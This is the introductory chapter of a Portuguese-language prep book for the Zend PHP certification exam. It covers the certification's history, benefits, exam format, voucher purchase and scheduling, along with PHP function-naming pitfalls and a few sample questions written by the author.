• O tópico “Diferenças entre PHP 4/5” foi eliminado;


• “Melhores práticas” foram distribuídas em todas as áreas;
• Abrange o conteúdo das versões anteriores do PHP (4 e 5.1), exceto os recursos que sejam
obsoletos ou oficialmente removidos nas respectivas releases;
• Abordou recursos exclusivos da versão 5.3, como por exemplo namespaces - que foi combi-
nado nas dez áreas do teste.
Introdução 13

Certificação baseada no PHP 5.5

Lançado na semana do evento ZendCon 2013 em outubro daquele ano.


Durante alguns dias o título chegou a ser chamado de “Zend Certified PHP Developer” (ZCPD).
O objetivo foi aproximar com a nomenclatura de outras certificações em TI e também remover do
nome a versão da linguagem.
Após reações controversas da comunidade PHP a certificação voltou a utilizar a expressão “Engi-
neer” no nome, tornando-se então: “Zend Certified PHP Engineer” (ZCPE).
Incorpora recursos das versões:

• 5.4: Servidor web embutido, timer de alta precisão, Traits, sintaxe curta em arrays e novos
acessos à objetos;
• 5.5: geradores (palavra-chave yield), finally (try-catch) e outras melhorias.
Introdução 14

Certificação baseada no PHP 7.1

Lançado dia 13/02/2017 é a versão vigente do exame, baseada no PHP 7.1.


Ela difere da versão anterior por incorporar tópicos do PHP 5.6, 7.0 e 7.1.

Linha do tempo traçando o histórico das certificações PHP


Introdução 15

Esse painel foi inspirado na apresentação introdutória do curso “Zend PHP 5.3 Certification
Training”¹¹ ministrado pelo instrutor Doug Bierer.
Os logotipos foram obtidos no site da Zend¹².
Embora o anúncio do exame “PHP 5” tenha ocorrido em 2005, ele efetivou-se definitivamente só em
2007 – consequentemente o gráfico apresenta ciclos de três anos entre as certificações (com exceção
da mais recente, que levou quatro anos).
Obs.: grandes releases, como é o caso da versão 7 do PHP, levam entre 6 à 9 meses para a Zend
atualize para um novo teste - devidamente testado e homologado.
Houve grande debate no salto do número de versão 5 para 7 (pulando a versão 6). Mais informações
em https://wiki.php.net/rfc/php6

Vantagens
A filosofia por trás da certificação vai além da aprovação no exame – é o reconhecimento das
habilidades como desenvolvedor web proficiente.
Certificação atribui credibilidade, além de autoridade legal e moral.
O assunto “certificação” é polêmico, pois sempre vem à tona dois extremos: excelentes progra-
madores que não são certificados versus ZCPE’s que apresentam fragilidades técnicas (embora,
honestamente, eu desconheça profissionais titulados e que sejam medíocres).
Nesse contexto é importante salientar que a prova certifica competência técnica e não comporta-
mentais, e nesse sentido alguns desenvolvedores podem ser estigmatizados.
Abstraindo qualquer ideologia, há vários pontos a favor de submeter-se ao exame que são compro-
vadamente verdadeiros e trazem vantagens. Dentre eles:

• Prestígio e reconhecimento junto a comunidade, decorrente do rigoroso processo de aprova-


ção;
• Demonstra maturidade e proficiência na linguagem;
• Perfil diferenciado perante a equipe e fornecedores;
• Distingue de outros competidores em uma disputa de vaga;
• Justifica bonificações salariais;
• O título ZCPE não expira, diferentemente de outras certificações.

Também pode-se salientar vantagens imediatas, tais como:


¹¹http://static.zend.com/topics/videos/training/php-5-3-cert-introduction/
¹²http://www.zend.com/services/certification/zce-logo
Introdução 16

• Proporciona visibilidade internacional através da Zend Certified Engineer Directory¹³, anti-


gamente chamada de Yellow Pages;
• Ganha uma licença perpétua do consagrado editor Zend Studio¹⁴;
• Ganha uma licença do Zend Server;
• Tem descontos em conferências promovidas pela Zend Technologies;
• Permite acesso a grupos exclusivos de ZCPE’s como o do LinkedIn;
• Permitem o uso dos logotipos oficiais (selo) nos cartões de visita, websites, papel timbrado,
banners e curriculum vitae;
• A empresa mantenedora da linguagem atesta que você domina a tecnologia;
• Realização pessoal e aumento de autoconfiança.

A atitude de submeter-se não deixa de ser um desafio pessoal, que lhe trará ainda mais confiança
como profissional e destaque junto a comunidade.
Sem falar nas licenças de software que certamente extrapolam o valor pago pelo voucher, atualmente
ao investimento de US$ 195.
A Zend Certified Engineer Directory, antigamente conhecida como Yellow Pages, é um canal
de contato direto para com os profissionais certificados Zend (com proficiência em PHP e Zend
Framework) e possibilita que empresas busquem especialistas nestas áreas.
É bastante comum, após certificado, o ZCPE começar a receber propostas de trabalho, ao invés dele
sair em busca de oportunidades.
A obtenção de certificação ajuda você a ganhar visibilidade e lhe dá credibilidade, com experiência
comprovada na linguagem. Além de contribuir, a nível de excelência, com sua organização no
desenvolvimento de aplicações web baseadas em PHP.
A certificação ZCPE auxilia os empregadores a predizer se o profissional conseguirá aplicar a
tecnologia PHP 7.1 em problemas reais no desenvolvimento de software e de negócio. É uma garantia
de que o desenvolvedor possui padrões mínimos de experiência e conhecimento.
Numa disputa de vaga para desenvolvedor PHP você fica em evidência ao olhar do recrutador e
certamente pula uma etapa no processo seletivo.
Muitas empresas já utilizam o logotipo oficial, disponibilizado pela Zend, no intuito de atrair
profissionais PHP certificados:
¹³http://www.zend.com/en/services/certification/zend-certified-engineer-directory
¹⁴ApenasdaversãocorrentedoZendStudio.Osupgradessãocompradosseparadamente,casosejadeinteresse
Introdução 17

A certificação conta como qualificação técnica para a empresa, principalmente nas licitações, onde
o título ZCPE é pré-requisito e o número de profissionais certificados é utilizado em caráter de
desempate.
O programa de certificação transmite credibilidade ao mercado, tirando o PHP da “marginalidade”
como alguns insistem em categorizá-lo.
Contratar profissionais certificados diminui riscos para a empresa contratante.
Um dos maiores dramas do setor de Recursos Humanos (RH) é saber se o profissional está qualificado
para a execução do projeto, se possui competências para assumir um determinado cargo e se
apresenta os requisitos técnicos mínimos.
Muitas empresas, mediante suscetíveis equívocos de admissão, começaram a adotar seus próprios
métodos de contratação: análise de currículo, bateria de entrevistas, dinâmicas de grupo, testes,
programas de trainee e outros. A IBM, por exemplo, realiza UM ano de processo seletivo – para ter
certeza que a contratação será bem sucedida.
Mas a maioria das empresas não possui serviços de RH, tão pouco recursos financeiros que banquem
esse processo. Então o exame de certificação torna-se uma ferramenta importantíssima como
Introdução 18

instrumento de contratação: seja como requisito único ou parte de um conjunto de características


exigidas.
Há uma linha de pensamento que enfatiza as certificações em TI x graduação em TI. Conheço
inúmeros colegas que priorizaram esforços na obtenção de títulos de certificação e deixaram o curso
(bacharel ou técnico) em segundo plano. A curto prazo, eles não se arrependem, pois o resultado –
promoções, desenvoltura no trabalho, respeito dos colegas – aconteceu mais rapidamente.
Acredito que ambas estratégias são positivas, sendo que o curso de graduação traz retorno a
médio/longo prazo, provendo conhecimentos mais sólidos em computação.
As certificações, no geral, são bastante específicas e focadas em versões de software – o que tende a
ser mais volátil com o passar dos anos.

Por quê fazer o preparatório?


Se você adquiriu esse material é porque já tem experiência na linguagem PHP. Essa expertise pode
causar um excesso de confiança e lhe atrapalhar na condução do teste.
É imprescindível realizar um estudo dirigido focado no exame, pois boa parte das questões nem
sempre fazem parte do repertório dos desenvolvedores em seu cotidiano.
Por exemplo: é possível que você, a vida toda, percorreu diretórios no filesystem através das funções
opendir e readdir. Mas no teste imagine que apareça uma questão que faz exatamente essa tarefa
(de percorrer diretórios/arquivos) com a classe FilesystemIterator da SPL - Standard PHP Library
(Biblioteca Padrão do PHP).
O preparatório vai lhe tirar da zona de conforto e apresentar-lhe novas formas de realizar uma
determinada operação, que nem sempre é fluente para você.
Por isso também que o exame é tão prestigiado, pois obriga o aspirante a compreender todos os
recursos que a linguagem oferece – aumentando significativamente a sua capacidade de resolução
de problemas.
Atualmente existem aproximadamente 5 mil funções disponíveis na linguagem, dependendo das
extensões que são incorporadas na instalação do PHP. Toda release traz novas funções e outras
podem cair em desuso (chamadas de deprecated).
Você pode ter uma visão geral através da URL: http://www.php.net/quickref.php
É possível contar o número de funções built-in (nativas) na sua instalação do PHP, através da
função get_defined_functions(). De antemão aviso que esse número pode variar bastante, já
que é possível facilmente habilitar/desabilitar extensões da linguagem, afetando diretamente esse
resultado. Ex.:
Introdução 19

1 $funcoes = get_defined_functions();
2 echo count($funcoes['internal']);

Esse livro procura abordar uma quantidade significativa de funções, associando com problemas
reais, de modo a facilitar a assimilação. Memorizar quase 5 mil funções, seus parâmetros e a ordem
em que eles devem ser utilizados, é uma tarefa humanamente impossível.
A combinação deles num determinado contexto é a proposta dos exercícios que faremos aqui,
totalmente alinhados com o teste real.
Sem falar nas inconsistências que a linguagem apresenta, como por exemplo, a ordem dos argu-
mentos da função array_map(callback, array) enquanto que array_filter(array, callback)
recebe os mesmos argumentos porém invertidos.
Outro exemplo de problemas na nomenclatura são as funções da biblioteca gettext: Ex.:

1 `bindtextdomain(domínio, diretório);`
2 `bind_textdomain_codeset(domínio, codeset);`

Estatísticas
Atualmente há aproximadamente 450 profissionais certificados ZCE/ZCPE no Brasil, segundo a
http://www.zend.com/en/services/certification/zend-certified-engineer-directory
Considerando a quantidades de programadores PHP existente, pode-se perceber o quão ínfimo é
esse número – consequentemente, mais raro e prestigiado é o título.

Formato
O exame atualmente possui 75 perguntas randômicas (a partir de um repositório contendo várias
centenas de questões), criadas por um grupo chamado Zend PHP Education Advisory Board¹⁵
formado por personalidades conhecidas na comunidade PHP, altamente gabaritados. Alguns são
funcionários da Zend, outros são autores reconhecidos e desenvolvedores expoentes – com diferentes
pontos de vista.
¹⁵http://www.zend.com/services/certification/php-5-certification/education-advisory-board
Introdução 20

Obs.: até a versão atual do exame (baseado na versão 7.1 do PHP), o teste apresentava 70 questões -
cinco a menos que hoje, portanto o exame atual ficou ainda mais exigente.
As perguntas tem um caráter neutro, não fazem referência aos produtos Zend, são abrangentes (não
tendem à uma área específica), jamais se repetem no percurso do teste e se distribuem igualmente
entre as onze áreas.
O tamanho do repositório da Zend é desconhecido, bem como a lógica que orquestra a ordem das
perguntas.
Os trechos de código (tanto no enunciado quanto nas alternativas) não possuem syntax highlight
– na qual estamos acostumados em nossos editores favoritos, e sabemos o quanto ajuda na
interpretação de código. O snippet PHP é chapado, para que o candidato compreenda o código,
sem artifícios.
Obs.: em alguns simulados oficiais da Zend na qual tive acesso, alguns códigos aparecem com
a sintaxe em destaque (colorida). Mas na prova não haverá tal recurso, então não confie nessa
possibilidade.
Os enunciados não exibem pseudocódigos. O algoritmo é sempre na linguagem PHP, mas não
necessariamente seguem os padrões PSR1 e PSR2¹⁶.
Não há penalidades para respostas incorretas. De qualquer forma jamais deixe uma questão em
branco, pois não há punição. Arrisque!
¹⁶http://www.php-fig.org
Introdução 21

Curiosidade: em outros testes como o de Magento (por exemplo), eles apresentam 71 perguntas
sendo 65 com e 6 sem pontuação. No exame para PHP da Rogue Wave Zend Technologies, todas as
perguntas impactam no resultado.
Vão do nível intermediário ao avançado e devem ser respondidas em 90 minutos. Isso significa
que você tem, em média, 1 minuto e 12 segundos para cada questão. A administração do tempo no
decorrer do exame é crucial pois impacta diretamente em sua performance, mesmo que tecnicamente
você seja qualificado e preparado.
Após o tempo estipulado, o teste finaliza automaticamente.
Minha sugestão é que priorize as questões mais breves, ao invés dos algoritmos que exigem testes
de mesa¹⁷ e que tendem a consumir mais tempo.
O teste de mesa é imprescindível para compreender o comportamento da linguagem diante do script
exposto na pergunta.
A percentual mínimo de acertos para a aprovação não é divulgado. O score se dá pelo número de
perguntas versus peso, portanto especula-se que seja 70% de acerto. Esse percentual representa 53
questões (das 75 no total), o quê representa um belo desafio.
Não há penalização por respostas erradas. Apenas crédito pelas corretas.
Algumas bibliografias afirmam que uma questão pode ajudar a resolver outra, mas pela minha
experiência e de colegas certificados, não consegui comprovar essa teoria. Cada questão é totalmente
independente das demais e autocontida – ou seja, tudo o que você precisará estará disponível no
enunciado dela própria.
A Zend tem parceria com a Pearson VUE Test Center¹⁸ que é o centro autorizado para prestação de
certificações, com salas credenciadas em todo o mundo.
Cada pergunta disponibiliza respostas em três formatos diferentes:

• Única escolha onde apenas uma alternativa é a correta (campo radio)


• Múltipla escolha com várias alternativas corretas (campo checkbox)
• Campo aberto (campo freetext)

Os campos abertos, originalmente chamados de freetext são lacunas vazias que esperam a inserção
de texto livre, que pode ser nome de função/método, classe, saída de execução de código, nome de
constante, conteúdo de variável, cláusula do php.ini, tipos de erro (Notice, Warning e Fatal error)
e outros.
São tipos de perguntas menos frequentes e nesse caso não há uma estratégia para a resolução da
questão – é necessário conhecer realmente o assunto que está sendo perguntado. Ex.:

¹⁷Teste de mesa é a interpretação mental do programa analisando-o linha após linha, percebendo as atribuições de variáveis, laços, testes,
chamadas de função etc.
¹⁸http://www.pearsonvue.com
Introdução 22

Preencha o espaço em branco com o nome adequado.


A função _____________ chama automaticamente os recursos necessários sempre que \
um usuário tenta instanciar uma classe inexistente.

A resposta aqui é __autoload(), lembrando que nomes de funções devem ser escritas em caixa baixa
(lowercase), sem espaços em branco, nem explicações ou comentários. Fica a seu critério utilizar
parênteses ou não, quando solicitado nome de função ou método. Portanto a resposta digitada no
campo também poderia ser __autoload (nesse exemplo).
A propósito: a função __autoload é invocada toda vez que algum objeto é criado, onde os
nomes de classes requisitadas são convertidos em nomes de arquivos (que serão incorporados via
include/require), seguindo uma convenção que o usuário estabelece.
Dificilmente haverá um enunciado dizendo Read carefully (leia cuidadosamente), pois todas são
igualmente capciosas.
Você não precisará codificar longas porções de código, mas apenas nomes de variáveis e pequenos
trechos (snippets) de PHP.
Também não é exigido que mentalize todo o PHP Manual[^PHPManual], mas apenas as funções
mais significativas e a ordem correta dos parâmetros dessas funções – que iremos abordar aqui nesse
guia. O foco do teste é na análise de algoritmos ou invés de memorização.
A certificação independe de Sistema Operacional, Sistema Gerenciador de Banco de Dados (SGBD)
e servidor web. Os requisitos que transcendem o PHP são o protocolo HTTP, SQL (Structured Query
Language), HTML, XML, CSS e JavaScript. Mais informações no tópico “Tecnologias relacionadas”
nesse capítulo.

Acessibilidade
Aos colegas que necessitem de alguma tecnologia assistiva, recomenda-se que indique assistência
especial no momento do agendamento, no site http://www.pearsonvue.com/zend/ .
Assim que a Pearson VUE autorizar, o centro homologado na qual você gostaria de realizar a prova
providenciará os recursos necessários: software para leitura de tela, fones de ouvido etc.
Mas é imprescindível certificar-se antes da aquisição do voucher, pois não é o padrão amplamente
utilizado e nem todos os centros estão preparados com tais tecnologias: http://www.pearsonvue.
com/contact/americas/customerservice/

Navegação e revisão
Para que você esteja familiarizado com o ambiente do teste, recomendo navegar pelo endereço http:
//www.pearsonvue.com/demo
Introdução 23

É um design “ancião”, mas cumpre perfeitamente o seu propósito – de não desviar a atenção do
candidato.
Você tem a possibilidade de marcar as questões para revisão (Flag for Review), quantas perguntas
achar necessário.

http://www.pearsonvue.com/athena/static/review/flag_for_review.asp

Isso significa que, ao término da sequência das 75 questões, o sistema lhe remete automaticamente
para uma tela de revisão - que pode ser acessada a qualquer momento.
Essa tela especial de análise apresenta a lista de todas as questões, dentre elas as que foram
assinaladas para retificação e também as perguntas que estejam que ainda não foram respondidas
totalmente (que faltam marcar alternativas, por exemplo). Assim você poderá verificar novamente
suas repostas.
Introdução 24

http://www.pearsonvue.com/athena/static/review/using_the_review_screen.asp

O sistema também exibe questões sem resposta (ainda em branco), que serão contabilizadas
diretamente como incorretas, prejudicando o score final, portanto jamais deixe de respondê-las –
mesmo que você não tenha certeza ou que desconheça completamente o assunto.

Compra
O voucher do exame custa US$ 195 (no site americano) ou € 170 (na Europa). Antigamente havia
um bug no site que mostrava a mesma unidade de valor, porém em moedas distintas. Nesse caso o
câmbio mais favorável aos brasileiros ainda é o dólar, portanto observe com atenção qual versão do
site da Zend você está acessando: http://shop.zend.com/en/php-certification.html (preço em dólar)
OU http://shop.zend.com/eu/php-certification.html (preço em euro).
Caso queira adquirir um volume maior de vouchers (acima de 10 unidades) para certificar toda a
equipe, pode-se obter desconto. Experimente contatar o departamento comercial da Zend: sales@
zend.com.
Várias empresas estimulam seus colaboradores a obter o título a ponto de patrocinarem o custo dos
vouchers. Fale com a chefia ou o responsável dos recursos humanos.

1. A compra do voucher é feita diretamente no site da Rogue Wave Zend https://store.roguewave.


com:
Introdução 25

2. Após a escolha do produto (voucher), você paga através de cartão de crédito internacional:

Então primeiramente você compra o voucher no site da Zend (será necessário criar uma conta) e, ao
término do processo, receberá por e-mail um identificador semelhante a esse: ZTPB379B231A.
Obs.: o voucher é válido por UM ano a partir da data da compra.
O pagamento é feito com cartão de crédito internacional e pode ser usado um cartão de outra pessoa
ou de uma organização (não necessariamente em seu nome). O importante é verificar se seus dados
estão corretos nos cadastros da Pearson VUE, que serão inspecionados no dia do exame para atestar
que “você é você mesmo”, e na Zend que será utilizado na impressão do certificado físico e remetido
via correio para o endereço fornecido.
O processo de certificação é uma combinação de esforços da Zend, Pearson VUE e dos centros
autorizados. O valor de US$ 195 é rateado entre todos, descontando os impostos. Portanto, embora o
valor seja oneroso para a realidade brasileira, há um consenso de que a certificação existe sem fins
lucrativos. O propósito fundamental é qualificar e aperfeiçoar a massa crítica de profissionais PHP.
Introdução 26

Agendamento
O próximo passo será agendar a prova no site da Pearson VUE Test Center¹⁹ http://www.pearsonvue.
com/zend/:

1. Logo após a criação da conta no site²⁰, certifique-se de que todas as suas informações estão
perfeitamente corretas, para evitar algum imbróglio quando apresentar-se presencialmente
para a realização do teste. Após autenticar-se, escolha o exame apropriado no catálogo - em
nosso caso o “200-710: Zend Certified Engineer”:

2. Na tela de confirmação (Exam Details) pressione o botão Schedule this Exam (Agendar este
Exame) no canto inferior direito da tela:
¹⁹A Pearson VUE tem afiliados em 175 países e parceria com mais de 3.500 centros, líder em testes de proficiência nas mais diversas áreas do
conhecimento.
²⁰http://www.pearsonvue.com/zend/
Introdução 27

3. Na tela de localização do Centro de Testes (Test Center Search) o sistema realiza uma busca
automática baseada em seu endereço, previamente cadastrado, e exibe os centros credenciados
mais próximos geograficamente.
Eles possuem afiliados em todo o mundo, inclusive em várias cidades brasileiras - principal-
mente nas capitais.
Obs.: você pode verificar com antecedência um centro homologado Pearson VUE, acessando
o endereço: http://www.pearsonvue.com/zend/locate/.
Introdução 28

Quanto ao idioma, na versão mais recente do teste (ZCPE PHP 7.1), existe apenas em inglês.
Somente nas versões anteriores do teste (ZCE 4, 5 e 5.3) era possível escolher entre: alemão,
francês, inglês e japonês.
Até o momento não há previsão de uma versão traduzida para o português (e é pouco provável
que haja), portanto o inglês acaba sendo a única opção, então é fundamental ter uma boa base
do idioma – nem que seja apenas como leitura técnica.
Finalizando essa questão do idioma, atente para expressões como what, where, when, how,
result, output e follow. Respectivamente: o quê, onde, quando, que resultado, saída e siga.
4. Após escolher o centro autorizado Pearson VUE mais conveniente, é o momento de agendar
efetivamente. O sistema traz o calendário com as datas e horários disponíveis daquele centro
específico.
Dependendo da sua urgência, talvez seja interessante optar por outro local que porventura
possa ter mais disponibilidade de datas e horários.
Não é necessário agendar também com o centro parceiro, pois os sistemas de ambos são
integrados.
Introdução 29

5. A etapa seguinte será a tela de confirmação My Order (“Meu Pedido”). Basta verificar o tipo
de exame que você deseja submeter-se (200-710), local mais conveniente, data e horário:
Introdução 30

Na sequência aparecem as telas de confirmação pessoal (Confirm Personal) e o aceite das


políticas pré-estabelecidas (Agree to Policies).
6. O passo seguinte é preencher o código alfanumérico do voucher fornecido pela Zend obtido
lá no começo do processo, no momento da compra. Certamente você o recebeu por e-mail.
Basta preencher o campo Voucher/Promotion Code e pressionar o botão Apply. O sistema
valida o voucher e zera o valor final:

7. Por fim, recomendo imprimir e guardar o comprovante de agendamento para eventual


apreciação no dia da prova.

A respeito do idioma, nesse guia, optei por confeccionar os simulados em português justamente por
ser nosso idioma nativo e podermos nos concentrar no conhecimento técnico envolvido, ao invés
de desviarmos nossa atenção em traduções. Questões de idioma são secundárias e dificilmente você
terá problemas ao interpretar as questões.
Tomei o cuidado de formular perguntas muito próximas do formato original (com a diferença que
aqui estarão em português) para que seja o mais coerente possível e totalmente alinhado com o
exame real.
Lembrando que as perguntas são criadas pelo Zend Education Advisory Board originalmente em
língua inglesa. Como as perguntas são bastante técnicas o inglês não interfere tanto.
Introdução 31

É possível reagendar o exame ou até solicitar a devolução total do valor pago a qualquer momento
(a partir do site da Pearson VUE). Desde que o faça, no mínimo, com dois dias de antecedência.
O centro examinador local mantém uma agenda integrada com a Pearson VUE. Significa que não
requer confirmar o agendamento, a menos que você esteja muito aflito e prefere confirmar.
Obs.: você pode realizar a compra do voucher através do telefone ou no próprio centro autorizado
Pearson VUE. Nesses casos utilize o código 200-710, que faz referência ao exame vigente.

Reagendamento
Após a compra do voucher no site da Zend, ele é válido por 1 (um) ano.
O segundo passo é criar uma conta na VUE, escolher o local mais apropriado para a realização do
teste, data e horário. Na tela de pagamento, você informa o código do voucher, enviado previamente
pela Zend.
No período de 1 ano você pode reagendar o teste várias vezes, sem custo. Desde que seja feito com,
no mínimo, 48h (quarenta e oito horas) de antecedência.
É uma possibilidade tentadora mas, na prática, não resolve. Por experiência própria, use com
moderação, somente em casos de urgência. Pois o adiamento só aumenta a ansiedade, gerando ainda
mais expectativa e prejudicando a sua performance global.
Se postergar demais a prova, acaba esquecendo o que viu no começo dos estudos.

Dia da prova
Você precisa chegar ao local do exame com 1h (uma hora) antes do agendamento portando algum
documento oficial atualizado com foto: CPF, RG ou carteira de motorista. A recomendação é que
você traga dois identificadores contendo foto e assinatura.
Os dados que constam nesses documentos serão verificados com àqueles que foram previamente
cadastrados na VUE, então certifique-se de ter digitado seus dados corretamente.
Seus itens serão devidamente guardados em um armário chaveado e serás impedido de circular na
sala durante o exame – os centros onde o exame ZCPE é aplicado seguem normas rígidas para evitar
todo tipo de fraude. A intenção e evitar casos onde outra pessoa presta o exame em nome de outrem,
por isso há todo um rigor para com o candidato.
Não é permitido levar material para a sala do exame, tão pouco smartphones, laptop, tablet, livros
etc.
Em caso de necessidades especiais, solicite com antecedência a disponibilidade dos recursos
assistivos junto ao próprio centro.
Introdução 32

No dia do teste o candidato recebe uma quadro apagável (eraseable board) e uma caneta especial
(para uso nesse quadro) que o ajudarão nos testes de mesa e cálculos, pois há um índice de
aproximadamente 40% de questões envolvendo trechos de código (as vezes bastante extensos) que
requer um certo esforço cerebral em emular a execução.
A Pearson VUE oferece também um protetor auricular. Opcional, mas que ajuda na concentração,
protegendo o candidato de ruídos externos para que enfoque única e exclusivamente no teste.
A pessoa responsável pela condução do teste fará alguns procedimentos na estação onde será
realizada a prova.
Lembre-se que a aplicação e processamento do exame é gerenciado pela Pearson VUE, com anos
de experiência e que atendem centenas de outras companhias. O centro examinador autorizado que
você escolheu oferece exames em várias áreas, portanto certifique-se de ler atentamente se o seu
teste é mesmo o oferecido pela Rogue Wave Zend Technologies Inc.

O que NÃO cai no teste


Classes ou extensões externas provenientes da PEAR/Pyrus ou PECL (CodeSniffer, PhpDocumentor,
xDebug, profiler, GD, Phing, fPDF), ou vindo de outros repositórios como a PHPUnit, Composer
(gerenciador de dependências), Suhosin (sistema de segurança em PHP), sistemas para controle de
versão (CVS, Subversion, Git, Mercurial), empacotamento PHAR, procedimentos para Integração
Contínua com Jenkins (e seus módulos como PHPMD-MessDetector, DRY-Copy&Paste Detector,
PHP_Depend), sistema de templates (Smarty e Twig), PHP-GTK, Frameworks (Laravel, CakePHP,
CodeIgniter, Symfony, ZendFramework, YII, Prado), CMS (TYPO3, Wordpress, Joomla!, Drupal),
sistemas especializados (Magento, SugarCRM ou phpMyAdmin), editores (ZendStudio, NetBeans,
PDT, Aptana, PhpED), mecanismos de cache (APC, Memcache e Gearman), ORM²¹ (Propel, Doctrine
ou Eloquent), funções SQL específicas de algum banco de dados (que não sejam ANSI SQL), AdoDB,
easter eggs²², bases NoSQL e ferramentas Zend como Zend Z-Ray, Zend Java Bridge, Zend Guard
Loader e outras bibliotecas de apoio (como por exemplo a extensão filter²³).

Tecnologias relacionadas
O desenvolvimento web é um ofício que demanda conhecimentos também em outras áreas, que
transcendem a linguagem PHP (server side).
Faz-se necessário conhecimentos também de marcações HTML e CSS, formato na qual as telas
geradas serão renderizadas nos navegadores web.
O protocolo HTTP também é requerido, pois trata da “conversa” entre o navegador e servidor.
²¹Object-Relational Mapping
²²http://madhavvyas.blogspot.com.br/2011/03/php-easter-eggs.html
²³http://php.net/filter
Introdução 33

É fundamental possuir conhecimentos em SQL (Structured Query Language) que é a linguagem


universal de acesso à banco de dados relacionais. Lembrando que o SQL utilizado na prova é o
padrão ANSI (que funcione em qualquer Gerenciador de Banco de Dados Relacional).
JavaScript também é um recurso importantíssimo pois são scripts que rodam no lado do cliente
(client side) e promovem uma melhor interatividade com o sistema ou página web.
Consequentemente, mediante esse cenário, o exame ZCPE engloba tais tecnologias – pois elas fazem
parte do quotidiano do desenvolvedor web.

Questões de simulado
O livro apresenta cerca de 150 questões inéditas, de minha autoria, abordando os temas que mais
geraram polêmica dentre as centenas de perguntas publicadas em nossa lista de discussão Rumo à
Certificação PHP²⁴.
Tive o cuidado de selecionar minuciosamente os assuntos que provocaram mais dúvidas, de maior
repercussão, e trouxe para o livro uma compilação de tudo que foi discutido lá.
Importante ressaltar que as questões aqui apresentadas se assemelham muito com as perguntas do
exame, mas elas não são idênticas. Casualmente é possível que apareçam questões iguais, mas é
importante estar ciente de que iremos focar nos conceitos, ao invés de mentalizarmos perguntas e
respostas.

Armadilhas
A falta de padronização nos nomes das funções provoca bastante confusão. Essa inconsistência
reflete também no exame, portanto necessita ser bem analisada.
Funções de conversão: to ou 2, com ou sem _ (underscore):
Uso de to Uso de 2
cal_to_jd bin2hex
ftok deg2rad
idn_to_ascii image2wbmp
idn_to_unicode nl2br
idn_to_utf8 rad2deg
strtok ip2long
strtolower jpeg2wbmp
strtotime long2ip
strtoupper px_timestamp2string

²⁴http://www.rumoacertificacaophp.com
Introdução 34

Obs.: as funções acima ficaram dispostas numa tabela por questões de diagramação, pois não há
correlação entre as linhas.
Outro detalhe são as funções case insensitive (tolerante a letras maiúsculas e minúsculas), utilizando
i versus case:

Case sensitive Case insensitive


strpos stripos
str_replace str_ireplace
strcmp strcasecmp

Atente-se também são as inconsistências para nomenclatura de funções:

Objeto/verbo Verbo/objeto
socket_read readdir
ldap_read readfile
date_parse parse_str
xml_parse parse_url
imap_check checkdnsrr
pspell_check checkdate
timezone_version_get getheaders
realpath_cache_get getcwd
ini_get getenv

O underscore é outra armadilha que deve ser observada com muitíssima atenção:

Com underscore Sem underscore


json_decode urldecode
base64_decode gzdecode
error_get_last fgetcsv
func_get_arg gethostname
str_pad strlen
str_split strptime
str_replace strrev
str_getcsv stristr

Outra forma de enunciado são as perguntas utilizando negação (cannot). Ex.:

Como escrever uma classe onde seus atributos NÃO podem ser acessados externament\
e aos métodos?

A: Declarando a classe como privada


B: Declarando os métodos como privados
Introdução 35

C: Isso não pode ser feito


D: Sobrescrevendo um método que acessa o atributo
E: Declarando o atributo como privado

Nesse caso a alternativa correta é a E, pois declarando a propriedade da classe como private elas
serão manipuláveis somente a partir dos seus respectivos métodos – jamais externamente.
Dica: espere questões que utilizem bastante a forma negada, como visto no exemplo acima.
As alternativas apresentadas podem ofuscar a sua resposta, apresentando opções invertidas. A
tendência é focarmos em afirmações.
Veja outro exemplo que pode induzir uma resposta equivocada:

Quais operações abaixo não podem ser implementadas usando o recurso ftp://stream?
(escolha duas)

A: Leitura de arquivo
B: Escrita de arquivo
C: Estabelecendo uma conexão permanente e alterar diretórios interativamente
D: Criando um novo diretório
E: Nenhuma das alternativas anteriores

Inferindo o comportamento de um wrapper de FTP (File Transfer Protocol), fica nítido que as
respostas seriam as alternativas A e B, porém atente-se ao “não podem” que modifica totalmente
a resposta. Nesse caso as alternativas corretas seriam as letras C e D.
Analise atentamente esse trecho de código maroto:

1 $this->range1=($this->limit*$this->page)-$this->limit;

Perceba que estamos operando dentro de um método e referenciando atributos como range1, page
e limit.
Observe o fragmento page)-$this e veja que não há o arrow operator -> que age no contexto de
orientação à objetos, invocando métodos ou manipulando propriedades.
Então seria um erro de sintaxe? Não: é sinal de subtração!
Atente-se as expressões:
Introdução 36

Expressão Descrição
-> Operador que atua sob atributos e chama métodos de uma classe
=> Operador utilizado em arrays para associar um índice ao seu
respectivo valor
>= Operador de maior igual utilizado em testes como if

Polêmicas
Eventualmente surgem questões de análise de código que demandam grande raciocínio e tempo
(que é escasso) na realização dos testes de mesa. Esses scripts trazem sintaxes que formam grandes
labirintos, muitas vezes até taxadas de irreais, ofuscando o candidato.
De fato existem questões com uma lógica mirabolante (sem que haja erro de sintaxe) e você precisa
estar preparado para enfrentá-las, inevitavelmente.
Outro perfil de questão que gera muita discussão na comunidade são as verificações de ordem dos
parâmetros nas funções. É muito fácil confundir-se na sequência em que os argumentos devem ser
inseridos, portanto esteja atento as “pegadinhas” nesse sentido – pois elas existem e vão aparecer no
seu teste.
Há também discussões nas questões envolvendo conhecimento da sintaxe ao invés da habilidade
analítica, pois se argumenta que tais dúvidas poderiam ser facilmente consultadas no manual da
linguagem ao invés de memorizá-las. Muitos entendem que as perguntas deveriam abordar desafios
no contexto do desenvolvimento de um código limpo, escalável e seguro.
Alguns argumentam que é necessário mentalizar mais de 5 mil funções e seus respectivos parâme-
tros, que seria uma tarefa desumana. Na realidade o exame foca em questões complexas utilizando
as principais funções da linguagem, portanto procure se tranquilizar.
Há uma corrente de desenvolvedores que põem em dúvida a validade do teste, argumentando que
ele não atesta plenamente um programador qualificado.
Concordo que grandes desenvolvedores da atualidade de fato não são certificados. Mas se você
domina o PHP, por que não certificar-se? Tenha a certeza que será um desafio e tanto.

Outras certificações PHP


Em função da demanda de clientes por profissionais mais qualificados, alguns órgãos criaram os
seus próprios programas de certificação na linguagem PHP, porém são menos conhecidos junto a
comunidade, com menor expressividade.
A Zend tornou-se referência por sua trajetória, por fomentar o uso do PHP em ambientes corpo-
rativos, na excelência dos produtos e serviços, bem como as contribuições significativas ao core da
Introdução 37

linguagem, extensões e framework. Por isso o seu programa de certificação indiscutivelmente é o


mais prestigiado.
Abaixo seguem algumas opções que podem ser servir de experiência antes do teste ZCPE:

• CP-470 PHP²⁵ – National Computer Science Academy (NCSA)


• W3Schools²⁶
• Brainbench²⁷
• iMasters Certified Professional – PHP Boas práticas²⁸
